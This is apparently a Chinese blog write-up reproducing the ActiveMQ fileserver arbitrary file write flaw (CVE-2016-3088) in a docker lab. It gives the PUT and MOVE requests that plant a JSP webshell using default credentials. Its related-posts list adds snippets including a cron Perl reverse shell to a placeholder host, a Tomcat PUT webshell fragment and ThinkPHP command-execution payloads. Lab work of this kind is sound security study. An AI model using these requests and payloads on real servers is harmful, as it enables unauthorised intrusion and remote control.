天道酬勤,学无止境

ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现


title:ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

文章目录

    • title:ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)
    • 一、环境搭建
    • 二、背景简述
    • 三、影响版本
    • 四、漏洞详情
    • 五、漏洞防御
    • 六、漏洞利用案例
      • 写入webshell

一、环境搭建

搭建及运行漏洞环境:

docker-compose build
docker-compose up -d

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。

访问http://your-ip:8161/看到web页面,说明环境已成功运行。

二、背景简述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

三、影响版本

Apache ActiveMQ 5.0.0 - 5.13.2

四、漏洞详情

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

五、漏洞防御

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

六、漏洞利用案例

写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

image

然后上传webshell:

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

image
访问文件内容如如下:
image

移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image

成功访问webshell,表明webshell写入成功:

image

受限制的 HTML

  • 允许的HTML标签:<a href hreflang> <em> <strong> <cite> <blockquote cite> <code> <ul type> <ol start type> <li> <dl> <dt> <dd> <h2 id> <h3 id> <h4 id> <h5 id> <h6 id>
  • 自动断行和分段。
  • 网页和电子邮件地址自动转换为链接。

相关推荐
  • Apache ActiveMQ任意文件写入代码执行漏洞复现(CVE-2016-3088)
    Apache ActiveMQ任意文件写入代码执行漏洞复现(CVE-2016-3088) 环境搭建漏洞验证 环境搭建 使用vulhub进行环境搭建,具体步骤可参考这里。 漏洞验证 上传文件,使用PUT方法放到fileserver目录下,服务器响应204即代码上传成功。 将刚刚上传的文件MOVE到admin或api应用中,但是这两个应用都需要登录才能访问到(所以这里需要知道ActiveMQ的绝对路径,可以通过报错等方式获取到绝对路径) 登录后访问 下面这个方法更稳定一些,可以在fileserver目录下写入如下内容: */1 * * * * root /usr/bin/perl -e ‘use Socket; i = " X . X . X . X " ; i="X.X.X.X"; i="X.X.X.X";p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,ineta​ton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ 将文件移动到Destination: file://
  • 常见端口入侵
    20:FTP服务的数据传输端口 21:FTP服务的连接端口,可能存在 匿名登陆 弱口令暴力破解 匿名登陆:1.用nc链接21号端口 2.直接使用USER anonymous PASS xxxx 22:SSH服务端口,可能存在 弱口令暴力破解 23:Telnet端口,可能存在 弱口令暴力破解 25:SMTP简单邮件传输协议端口,和 POP3 的110端口对应 43:whois服务端口 53:DNS服务端口(TCP/UDP 53) 67/68:DHCP服务端口 69:TFTP端口,可能存在弱口令 80:HTTP端口,常见web漏洞 110:POP3邮件服务端口,和SMTP的25端口对应 111:rpcbind服务,可能存在端口泄露 使用nmap脚本: nmap -p 111 --script=rpcinfo 目标 135:RPC服务 137/138:NMB服务 139:SMB/CIFS服务,可能存在远程代码执行 MSF模块:use multi/samba/usermap_script PAYLOAD: cmd/unix/reverse 143:IMAP协议端口 161/162: Snmp服务,public弱口令 389:LDAP目录访问协议,有可能存在注入、弱口令 443:HTTPS端口,心脏滴血等与SSL有关的漏洞 445:SMB服务端口,可能存在永恒之蓝漏洞MS17-010
  • ActiveMQ漏洞(CVE-2016-3088)利用总结
    前言: Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。 Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。 弱口令: admin/admin 基本介绍: ActiveMQ的web控制台分三个应用,admin,api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口,admin和api都需要登录后才能使用,fileserver无需登录,fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计是为了弥补消息队列操作不能传输,存储二进制文件的缺陷,在5.12.x~5.13.~版本中,默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启),在5.14.0版本后,彻底删除了fileserver应用。
  • 常见威胁端口
    20:FTP服务的数据传输端口 21:FTP服务的连接端口,可能存在 弱口令暴力破解 22:SSH服务端口,可能存在 弱口令暴力破解 28退格漏洞 OpenSSL漏洞 CVE-2015-8370 cve-2014-0224 cve-2014-3566(nmap -p 443 --script ssl-ccs-injection,ssl-poodle 10.1.21.103) 23:Telnet端口,可能存在 弱口令暴力破解 25:SMTP简单邮件传输协议端口,和 POP3 的110端口对应 未授权访问 43:whois服务端口 53:DNS服务端口(TCP/UDP 53) 区域传输漏洞 echo ls 10.1.102.77 | nslookup 67/68:DHCP服务端口 DHCP劫持; 69:TFTP端口,可能存在弱口令 80:HTTP端口 110:POP3邮件服务端口,和SMTP的25端口对应 111:rpcbind漏洞 nmap -p 111 --script=rpcinfo 192.168.172.129 msf:use auxiliary/scanner/misc/sunrpc_portmapper 135:RPC服务 137/138: NMB服务 139:SMB/CIFS服务 未授权访问:给予public用户高权限 远程代码执行漏洞:CVE-2015-0240
  • Vulhub靶场
    【Django JSONField/HStoreField SQL 注入漏洞 】 ①原理 Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。 在Django中支持Postgresql的数据类型:JSONField、HStoreField、ArrayField。 该漏洞出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接,通过JSONField类获得KeyTransform类并生成sql语句的位置,因此可以进行SQL注入 ②vulhub进入目录:/home/vulhub/vulhub-master/django/CVE-2019-14234,启动环境:docker-compose up -d,访问:http://192.168.28.129:8000/ 即可看到Django默认首页 ③首先登陆后台:http://192.168.28.129:8000/admin/,用户名密码为admin
  • ActiveMQ漏洞
    参考: ActiveMQ漏洞利用方法总结https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.mdhttps://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.mdhttps://github.com/Xyntax/POC-T/blob/2.0/script/activemq-weakpass.pyhttps://github.com/Xyntax/POC-T/blob/2.0/script/activemq-upload.pyhttps://github.com/WyAtu/Perun/tree/master/vuln/activemq 下载: https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.zip 环境搭建 cd apache-activemq-5.11.1/bin chmod +x activemq activemq-admin ./activemq start 日志查看: tail -f data/activemq.log 默认监听端口8161 CVE-2015
  • ActiveMQ系列漏洞汇总
    ActiveMQ 反序列化漏洞(CVE-2015-5254) Apache ActiveMQ是美国Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring FrameWork。 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。 信息搜集 nmap -sS -T5 -n -p- 192.168.50.128 C:\Users\aaron>nmap -sS -p- -T5 -n 192.168.50.128 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-03 11:25 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.50.128 Host is up (0.0010s latency). Not shown: 65533 closed ports PORT STATE SERVICE 8161/tcp open patrol-snmp 61616/tcp open unknown MAC Address: 00:0C:29:70:75:41 (VMware
  • CVE PoC的精选列表(二)
    CVE-2016-1710 在52.0.2743.82之前的Google Chrome中使用的Blink的WebKit / Source / web / ChromeClientImpl.cpp中的ChromeClientImpl :: createWindow方法不会阻止递延帧创建窗口,这使远程攻击者可以通过以下方式绕过同源策略精心制作的网站。 CVE-2016-1711 在52.0.2743.82之前的Google Chrome中使用的Blink中的WebKit / Source / core / loader / FrameLoader.cpp不会在对DocumentLoader对象执行分离操作期间禁用帧导航,这使远程攻击者可以通过精心制作的网站。 CVE-2016-1779 9.3之前的Apple iOS中的WebKit和9.1之前的Safari中的WebKit允许远程攻击者绕过Same Origin策略,并通过精心设计的地理位置请求获取物理位置数据。 CVE-2016-1857 WebKit在9.3.2之前的Apple iOS,9.1.1之前的Safari和9.2.1之前的tvOS中使用,它允许远程攻击者通过精心制作的网站执行任意代码或导致拒绝服务(内存损坏)。漏洞CVE-2016-1854,CVE-2016-1855和CVE-2016-1856。 CVE-2016
  • [原创]Ladon7.5大型内网渗透扫描器&Cobalt Strike
    Ladon 7.5 20201010 Ladon for Windows Ladon GUI Ladon for Cobalt Strike Ladon for PowerShell Python Ladon Ladon for Linux 使用说明 ID主题URL0Ladon文档主页https://k8gege.org/Ladon/1Ladon基础文档http://k8gege.org/p/648af4b3.html2Ladon用法例子http://k8gege.org/Ladon/example.html3基础用法详解https://github.com/k8gege/Ladon/wiki/Ladon-Usage4Cobalt Strikehttps://github.com/k8gege/Aggressor5Exp生成器使用https://github.com/k8gege/Ladon/wiki/LadonExp-Usage6高度自定义插件https://github.com/k8gege/Ladon/wiki/Ladon-Diy-Moudle7外部模块参考https://github.com/k8gege/K8CScan/wiki8PowerLadonhttps://github.com/k8gege/powerladon9PythonLadonhttps://github
  • 挖矿***WatchBog新变种来袭,利用多款工具新漏洞
    挖矿***WatchBog新变种来袭,利用多款工具新漏洞原创 Change 嘶吼专业版 2019-08-04本文要点· Intezer安全团队于近日发现了一个新版本的WatchBog挖矿***,据推测从今年6月以来已累计破坏超过4,500台Linux机器。· 此版WatchBog利用了数个新披露的漏洞,还添加了BlueKeep RDP协议漏洞扫描器模块,表明背后的***者正在收集易受***的系统列表,以便将来利用或出售给第三方牟利。· 目前,所有安全供应商都未检测到此恶意软件。· 在这篇文章中,我们为Windows和Linux用户提供了预防和响应建议,此外还提供了一个YARA签名,用于检测类似的威胁。介绍WatchBog于2018年11月出现在公众视野中,它利用已知的漏洞来破坏Linux服务器。阿里云对此曾做过记录。WatchBog的上一份研究报告还停留在数月前,这段时间内,它又通过新的传播模块来升级注入程序,增加了对服务器的覆盖范围。而我们发现的此版WatchBog,还利用了数个近期公开的漏洞——包括Jira的CVE-2019-11581(就在漏洞公布后12天),Exim的CVE-2019-10149和Solr的CVE-2019-0192 ,同时还添加了一个BlueKeep扫描器。BlueKeep,也称为CVE-2019-0708,是一个Windows内核漏洞,能让**
  • Ladon7.4扫描器简明教程/用法例子
    前言 本文仅是Ladon简单使用例子,Cobalt Strike、PowerShell、KaliLadon跨平台版等用法一致。 完整文档:http://k8gege.org/Ladon 版本 Ladon7.4 20200928 Socks5代理扫描 例子:扫描目标10.1.2段是否存在MS17010漏洞(必须加noping) Ladon noping 10.1.2.8/24 MS17010 详见:http://k8gege.org/Ladon/proxy.html 网段扫描 CIDR格式:不只是/24/16/8(所有) Ladon 192.168.1.8/24 扫描模块 Ladon 192.168.1.8/16 扫描模块 Ladon 192.168.1.8/8 扫描模块 字母格式:仅C段B段A段 顺序排序 Ladon 192.168.1.8/c 扫描模块 Ladon 192.168.1.8/b 扫描模块 Ladon 192.168.1.8/a 扫描模块 资产扫描、指纹识别、服务识别、存活主机、端口扫描 001 多协议探测存活主机 (IP、机器名、MAC地址、制造商) Ladon 192.168.1.8/24 OnlinePC 002 多协议识别操作系统 (IP、机器名、操作系统版本、开放服务) Ladon 192.168.1.8/24 OsScan 003 扫描存活主机 Ladon
  • Tomcat PUT方法任意写入文件漏洞复现(CVE-2017-12615)
    一、漏洞描述 影响版本:Apache Tomcat 7.0.0-7.0.81 二、漏洞原理 Tomcat设置了写许可权(readonly = false),这导致我们可以将文件写到服务器中。 <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> 尽管Tomcat在某种程度上检查了文件后缀(无法直接编写jsp),但是我们仍然可以通过某些文件系统功能(例如
  • 漏洞复现系列--Tomcat-PUT方法任意文件写入(CVE-2017-12615)
    1、漏洞利用前提: Tomcat版本: 7.0.0 - 7.0.81 配置文件conf/web.xml中的readonly设置为false 开启了PUT方法 2、复现过程: 用burp随意抓一个GET请求包,将GET改为PUT,并上传一个jsp文件 PUT /1.jsp/ HTTP/1.1 Host: 对应的网站host Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf
  • CVE-2020-1938:Apache Tomcat-AJP任意文件读取漏洞复现
    前言:Tomcat-AJP Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。 AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过TCP连接和 SERVLET容器连接。 编号 CVE编号:CVE-2020-1938 CNVD编号:CNVD-2020-10487 影响版本 tomcat 6 tomcat7 ~ 7.0.100 tomcat8 ~ 8.5.51 tomcat9 ~ 9.0.31 漏洞简介 此漏洞属于文件包含漏洞,攻击者可构造恶意的请求包利用此漏洞读取webapp目录下的任意文件,如:配置文件、源代码等。 CNVD平台对Apache Tomcat AJP协议在我国境内的分布情况进行统计,结果显示我国境内的IP数量约为55.5万,通过技术检测发现我国境内共有43197台服务器受此漏洞影响,影响比例约为7.8%。 复现 复现过程在私人渗透测试环境下完成! 一、搭建环境 看一下版本 这里使用的Tomcat是8.5
  • Nginx -系列漏洞复现
    Nginx -系列漏洞复现 IIS是微软开发的web服务器,需要收费,主要用来跑asp.net asp php,只能在windows下运行。 Apache是Apache基金会的web服务器,免费,只支持静态界面,是html容器,应用范围广泛。 Tomcat是Apache基金会的java服务器,主要用来跑jsp php python等 Ngnix是反向代理服务器,它是代理,本身并不执行,是个传话筒,把用户提交的请求转发给web服务器,再把web服务器的结果转发给用户。为了提高性能,启用反向代理,实际的web服务器可以有很多台,而Ngnix放在前面,可以把这些web服务器整合成一个虚拟的更强大的服务 Nginx-文件解析漏洞 漏洞原理 ​ nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。 ​ 漏洞格式:test.jpg/a.php 漏洞复现 我们首先打开phpstudy切换版本为nginx-5.2.17 我们可以从phpstudy下的nginx的index.html复制到网站根目录下
  • 【漏洞复现】---- Redis 4.x/5.x 未授权访问漏洞
    一、简介 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。Redis提供了多种语言的API。Redis默认使用6379端口Redis未授权漏洞产生的原因 ---- Redis默认使用6379端口,并且Redis默认是空密码并且默认允许远程连接。一些管理员在安装好Redis之后,并没有修改它的默认端口。而且也没有设置密码的话,黑客就可以通过Redis数据库写入任意文件进行提权,从而操控该服务器。Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。 二、漏洞环境准备 目标机:CentOS7(装有redis-4.0.2) — 192.168.15.147 攻击机:kali — 192.168.15.129 三、漏洞复现 执行命令:redis-cli -h IP地址 即可连接到数据库。(不需要输入密码即可远程连接) redis数据库的相关命令 info — 查看redis信息和服务器信息flushall — 删除所有数据del key — 删除键为key的数据get key — 获得参数key的数据config — 配置server 这里可以使用nmap扫描靶机,但是必须要指定端口,因为nmap只能扫描到前1000个端口,命令:nmap
  • phpcms v9.6.0任意文件上传漏洞复现与原理分析(CVE-2018-14399)
    一、漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。 二、漏洞影响版本 PHPCMS 9.6.0 三、漏洞环境搭建 1. 解压下载的文件,然后把文件放到phpstudy的网站根目录下,浏览器访问127.0.0.1/phpcms/install/install.php,开始安装 在创建数据库的过程中可能无法自动创建,这时在PHPstudy面板上创建即可: 四、漏洞复现 1、浏览器访问前台,注册一个会员 进行相关的注册操作: 在另一个主机上打开apache服务并构建文件上传所需要的远程文件 构建poc:siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.86.129/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol= 踩坑日记:我一开始构建的POC如下,并没有改变dosubmit的值, dosubmit为提交注册。 利用成功的POC得到文件上传地址: 通过返回包得到上传后得到的路径
  • 远程命令执行漏洞与远程代码执行漏洞33333
    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码 两者区别 命令执行: 一般指操作系统命令 远程代码执行: 一般指的是脚本代码 造成的原因 造成的原因是Web服务器对用户输入命令安全检测不足, 导致恶意(操作系统命令 或 脚本代码)被执行。 命令执行漏洞 命令执行漏洞的分类 代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在 二进制文件中,在web应用中通过system函数来调用; 第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个 常用的图片处理组件,对用户上传的图片进行处理,造成命令执行, 另外java中的命令执行漏洞(struts2/Elasticsearch等) 命令执行漏洞的危害 任意执行系统命令,恶意木马被种植,挂马,钓鱼,敏感信息泄露..... 示例1 提交 http://localhost/cmd.php?ip=192.168.199.150|ipconfig 提交以后 | 命令管道符会将 ping 192.168.199.150|ipconfig 命令变成了 shell_exec('ping '.|ipconfig)
  • redis未授权访问漏洞完整复现与踩坑
    CATALOG 前言环境配置靶机环境配置第一步:下载并解压redis第二步:修改配置文件第三步:开启redis 在攻击机上下载redis redis常见命令漏洞利用须知与漏洞理解实验过程前言资产列表漏洞利用:利用漏洞写入webshell漏洞利用:写入ssh公钥漏洞利用:利用计划任务反弹shell 漏洞修复建议(引用他人博客) 前言 几年前就知道这个漏洞,可是一直没有机会复现,这两天真好有机会复现一下它,在这里做一个记录。 环境配置 靶机环境配置 第一步:下载并解压redis 下载redis并安装 wget http://download.redis.io/releases/redis-3.2.9.tar.gz tar xzf redis-3.2.9.tar.gz cd redis-3.2.9 make 倘若配置出问题,可以在redis-3.2.9文件夹下执行make test根据回显进行debug。make test命令出现下图所示,即代表安装所需所有环境都正确: 安装的时候遇见了linux安装redis时遇到的fatal error: stdlib.h: No such file or directory问题,可以点击链接进去看看解决方案。 如果遇见卸载gcc后无法再次安装,执行apt autoremove,接着执行apt-get install gcc即可。 https:/
  • [框架漏洞]Thinkphp系列漏洞【截至2020-07-20】
    一、Thinkphp ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,因为受到众多开发人员的喜爱,其在市场的应用规模很大,自然也引起了众多安全人员的注意。因此在这里,对相关漏洞进行归纳和总结。 指纹为:X-Powered-By: ThinkPHP 二、安全漏洞 1.ThinkPHP 5.0.23远程代码执行 参考:http://zone.secevery.com/article/1165 介绍:Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。影响版本:THINKPHP 5.0.x-5.0.23漏洞产生位置:ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php)挖掘方式 Method:POST url中设置参数s=captcha body数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami 2.ThinkPHP 5.0.22远程代码执行 参考:http://zone.secevery